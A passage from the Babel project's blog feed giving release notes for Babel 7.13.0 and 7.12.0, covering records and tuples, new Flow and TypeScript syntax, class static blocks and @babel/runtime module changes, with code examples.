style="color:#f5871f">2</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">3</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></td></tr></tbody></table>
<p>This means that you will need to load a polyfill for those global functions, such as <a href="https://www.npmjs.com/package/@bloomberg/record-tuple-polyfill" target="_blank" rel="noopener noreferrer"><code>@bloomberg/record-tuple-polyfill</code></a>, either by importing it in your code or with a <code>&lt;script&gt;</code> tag:</p>
<div class="language-html codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-html codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token tag punctuation" style="color:#c82829">&lt;</span><span class="token tag" style="color:#c82829">script</span><span class="token tag" style="color:#c82829"> </span><span class="token tag attr-name" style="color:#4271ae">src</span><span class="token tag attr-value punctuation attr-equals" style="color:#f5871f">=</span><span class="token tag attr-value punctuation" style="color:#f5871f">"</span><span class="token tag attr-value" style="color:#f5871f">https://unpkg.com/@bloomberg/record-tuple-polyfill@0.0.3/lib/index.umd.js</span><span class="token tag attr-value punctuation" style="color:#f5871f">"</span><span class="token tag" style="color:#c82829"> </span><span class="token tag punctuation" style="color:#c82829">/&gt;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<blockquote>
<p><strong>NOTE</strong>: No engine currently supports records and tuples, so you always need to load the polyfill.</p>
</blockquote>
<p>In order to enable this transform, you need to add <code>@babel/plugin-proposal-record-and-tuple</code> to your configuration.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="new-flow-features-12193-12234">New Flow features (<a href="https://github.com/babel/babel/pull/12193" target="_blank" rel="noopener noreferrer">#12193</a>, <a href="https://github.com/babel/babel/pull/12234" target="_blank" rel="noopener noreferrer">#12234</a>)<a href="https://babeljs.io/blog/2021/02/22/7.13.0#new-flow-features-12193-12234" class="hash-link" aria-label="Direct link to new-flow-features-12193-12234" title="Direct link to new-flow-features-12193-12234">​</a></h3>
<p>Babel 7.13.0 has support for two new Flow features:</p>
<ul>
<li>
<p><code>this</code> type annotation in functions, that allow you to specify the type of the <code>this</code> object as if it was a parameter</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">getPerson</span><span class="token punctuation">(</span><span class="token parameter keyword" style="color:#8959a8">this</span><span class="token parameter operator" style="color:#f5871f">:</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter maybe-class-name" style="color:#f5871f">Database</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter literal-property property" style="color:#f5871f">id</span><span class="token parameter operator" style="color:#f5871f">:</span><span class="token parameter" style="color:#f5871f"> string</span><span class="token punctuation">)</span><span class="token operator">:</span><span class="token plain"> </span><span class="token maybe-class-name">Person</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">this</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">instanceof</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Database</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// true</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
</li>
<li>
<p><code>enum</code> declarations with unknown members</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">enum</span><span class="token plain"> </span><span class="token maybe-class-name">PetKind</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token maybe-class-name">Dog</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token maybe-class-name">Cat</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token maybe-class-name">Snake</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token spread operator">...</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
</li>
</ul>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="typescript-42-support-12628">TypeScript 4.2 support (<a href="https://github.com/babel/babel/pull/12628" target="_blank" rel="noopener noreferrer">#12628</a>)<a href="https://babeljs.io/blog/2021/02/22/7.13.0#typescript-42-support-12628" class="hash-link" aria-label="Direct link to typescript-42-support-12628" title="Direct link to typescript-42-support-12628">​</a></h3>
<p><a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-2-rc/" target="_blank" rel="noopener noreferrer">TypeScript 4.2</a> supports some new syntax features such as abstract constructor signatures.</p>
<p>You can read more about the changes in <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-2-beta/" target="_blank" rel="noopener noreferrer">the TypeScript release post</a>.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="automatic-es-modules-in-babelruntime-12632">Automatic ES modules in <code>@babel/runtime</code> (<a href="https://github.com/babel/babel/pull/12632" target="_blank" rel="noopener noreferrer">#12632</a>)<a href="https://babeljs.io/blog/2021/02/22/7.13.0#automatic-es-modules-in-babelruntime-12632" class="hash-link" aria-label="Direct link to automatic-es-modules-in-babelruntime-12632" title="Direct link to automatic-es-modules-in-babelruntime-12632">​</a></h3>
<p><code>@babel/runtime</code> contains all of the Babel runtime helpers in both CommonJS and ECMAScript module formats.</p>
<p>Until now, you had to manually choose which one you wanted to use, specifying the <code>useESModules</code> option of <code>@babel/plugin-transform-runtime</code>.</p>
<p>We have now reorganized <code>@babel/runtime</code>'s internal structure, leveraging the new <a href="https://nodejs.org/api/packages.html#packages_package_entry_points" target="_blank" rel="noopener noreferrer"><code>"exports"</code></a> <code>package.json</code> field supported by Node.js and bundlers, so that they are able to automatically choose between CJS and ESM.</p>
<p>For this reason, the <code>useESModules</code> option is now deprecated and will be removed in Babel 8.</p>]]></content>
        <author>
            <name>Nicolò Ribaudo</name>
            <uri>https://twitter.com/NicoloRibaudo</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[7.12.0 Released: TypeScript 4.1, strings as import/export names, and class static blocks]]></title>
        <id>https://babeljs.io/blog/2020/10/15/7.12.0</id>
        <link href="https://babeljs.io/blog/2020/10/15/7.12.0"/>
        <updated>2020-10-12T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[We just published a new minor version of Babel!]]></summary>
        <content type="html"><![CDATA[<p>We just published a new minor version of Babel!</p>
<p>This release includes support for the new TypeScript 4.1 beta features: <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-1-beta/#template-literal-types" target="_blank" rel="noopener noreferrer">template literal types</a> and <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-1-beta/#key-remapping-mapped-types" target="_blank" rel="noopener noreferrer">key remapping in mapped types</a>.</p>
<p>Additionally, we implemented two new ECMAScript proposals: <a href="https://github.com/tc39/proposal-class-static-block" target="_blank" rel="noopener noreferrer">class static blocks</a> and <a href="https://github.com/tc39/ecma262/pull/2154" target="_blank" rel="noopener noreferrer">imports and exports with string names</a>.</p>
<p>Lastly, we renamed <code>@babel/plugin-syntax-module-attributes</code> (and the corresponding parser plugin <code>moduleAttributes</code>) to <code>@babel/plugin-syntax-import-assertions</code> (and <code>importAssertions</code>), to match the recent <a href="https://github.com/tc39/proposal-import-assertions" target="_blank" rel="noopener noreferrer">proposal</a> updates. The old plugin will work until Babel 8, but it's deprecated now.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.12.0" target="_blank" rel="noopener noreferrer">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="highlights">Highlights<a href="https://babeljs.io/blog/2020/10/15/7.12.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights">​</a></h2>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="typescript-41-12129-12131">TypeScript 4.1 (<a href="https://github.com/babel/babel/pull/12129" target="_blank" rel="noopener noreferrer">#12129</a>, <a href="https://github.com/babel/babel/pull/12131" target="_blank" rel="noopener noreferrer">#12131</a>)<a href="https://babeljs.io/blog/2020/10/15/7.12.0#typescript-41-12129-12131" class="hash-link" aria-label="Direct link to typescript-41-12129-12131" title="Direct link to typescript-41-12129-12131">​</a></h3>
<p>TypeScript 4.1 beta <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-1-beta/#key-remapping-mapped-types" target="_blank" rel="noopener noreferrer">was announced</a> a few weeks ago, and it includes new syntax features for types.</p>
<p><strong>Template literal types</strong> allow concatenating strings at the type-level, using the template literal syntax:</p>
<div class="language-typescript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-typescript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Events</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Click"</span><span class="token plain"> </span><span class="token operator">|</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Focus"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Handler</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">[</span><span class="token constant" style="color:#f5871f">K</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">in</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token template-string string" style="color:#718c00">on</span><span class="token template-string interpolation interpolation-punctuation punctuation">${</span><span class="token template-string interpolation">Events</span><span class="token template-string interpolation interpolation-punctuation punctuation">}</span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token punctuation">]</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">Function</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> handler</span><span class="token operator">:</span><span class="token plain"> Handler </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token function" style="color:#4271ae">onClick</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// Ok</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token function" style="color:#4271ae">onFocus</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// Ok</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token function" style="color:#4271ae">onHover</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// Error!</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>Together with <strong>key remapping in mapped types</strong>, they can be used to represent complex object transformations:</p>
<div class="language-typescript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-typescript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Getters</span><span class="token class-name operator" style="color:#eab700">&lt;</span><span class="token class-name constant" style="color:#f5871f">T</span><span class="token class-name operator" style="color:#eab700">&gt;</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">[</span><span class="token constant" style="color:#f5871f">K</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">in</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">keyof</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">as</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token template-string string" style="color:#718c00">get</span><span class="token template-string interpolation interpolation-punctuation punctuation">${</span><span class="token template-string interpolation">Capitalize</span><span class="token template-string interpolation operator">&lt;</span><span class="token template-string interpolation constant" style="color:#f5871f">K</span><span class="token template-string interpolation operator">&gt;</span><span class="token template-string interpolation interpolation-punctuation punctuation">}</span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token punctuation">]</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token punctuation">[</span><span class="token constant" style="color:#f5871f">K</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">interface</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Dog</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">string</span><span class="token punctuation">;</span><span class="token plain"> age</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">number</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> lazyDog</span><span class="token operator">:</span><span class="token plain"> Getters</span><span class="token operator">&lt;</span><span class="token plain">Dog</span><span class="token operator">&gt;</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">/* ... */</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">lazyDog</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">lazyDog</span><span class="token punctuation">.</span><span class="token plain">age</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// error!</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>You can read more about TypeScript 4.1 in the <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-1-beta/" target="_blank" rel="noopener noreferrer">release announcement</a>, or check <a href="https://github.com/ghoullier/awesome-template-literal-types" target="_blank" rel="noopener noreferrer">other examples</a> of what capabilities these new features unlock. However, remember that TypeScript 4.1 is still experimental!</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="class-static-blocks-12079-12143">Class static blocks (<a href="https://github.com/babel/babel/pull/12079" target="_blank" rel="noopener noreferrer">#12079</a>, <a href="https://github.com/babel/babel/pull/12143" target="_blank" rel="noopener noreferrer">#12143</a>)<a href="https://babeljs.io/blog/2020/10/15/7.12.0#class-static-blocks-12079-12143" class="hash-link" aria-label="Direct link to class-static-blocks-12079-12143" title="Direct link to class-static-blocks-12079-12143">​</a></h3>
<blockquote>
<p><a href="https://babel.dev/repl/build/29530/#?browsers=&amp;build=&amp;builtIns=false&amp;spec=false&amp;loose=true&amp;code_lz=MYGwhgzhAEDC0G8BQ1oQC5nQS2NAHtALzQAsATANwpqY54Ce1qGWuiNq6ATgx6gOjoAFtggA6PiQAmAewDKsgLYBTEdgB2AcwDq2EQAp1E_AEpmAgL6dowLMGH9BQ0RKnQARAFcNAaw2yAO4aHhao1uFIlkA&amp;debug=false&amp;forceAllTransforms=false&amp;shippedProposals=false&amp;circleciRepo=&amp;evaluate=false&amp;fileSize=false&amp;timeTravel=false&amp;sourceType=module&amp;lineWrap=true&amp;presets=stage-2%2Ctypescript&amp;prettier=true&amp;targets=&amp;version=7.11.6%2Bpr.12143&amp;externalPlugins=" target="_blank" rel="noopener noreferrer">Example on Babel REPL</a></p>
</blockquote>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">C</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> #x </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">42</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> y</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">try</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">y</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">doSomethingWith</span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">#x</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">catch</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">y</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"unknown"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>This stage 2 proposal allows you to apply additional static initializations when a class definition is evaluated. It is not intended to replace static fields but to enable new use cases that could not be accomplished before. In the example above, the static property <code>y</code> is initialized using <code>#x</code>. If <code>doSomethingWith(this.#x)</code> throws, <code>y</code> will be assigned by a default value <code>"unknown"</code>.</p>
<p>You can read more about it in the <a href="https://github.com/tc39/proposal-class-static-block/blob/master/README.md" target="_blank" rel="noopener noreferrer">proposal's description</a>.</p>
<p>Thanks to <a href="https://twitter.com/JLHwung" target="_blank" rel="noopener noreferrer">Jùnliàng</a>, you can test this proposal by installing
the <code>@babel/plugin-proposal-class-static-block</code> plugin and adding it to your Babel config. Since it is likely you're already using other class feature plugins, be sure to place this plugin <em>before</em> the others:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    "@babel/plugin-proposal-class-static-block",</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    "@babel/plugin-proposal-class-properties"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
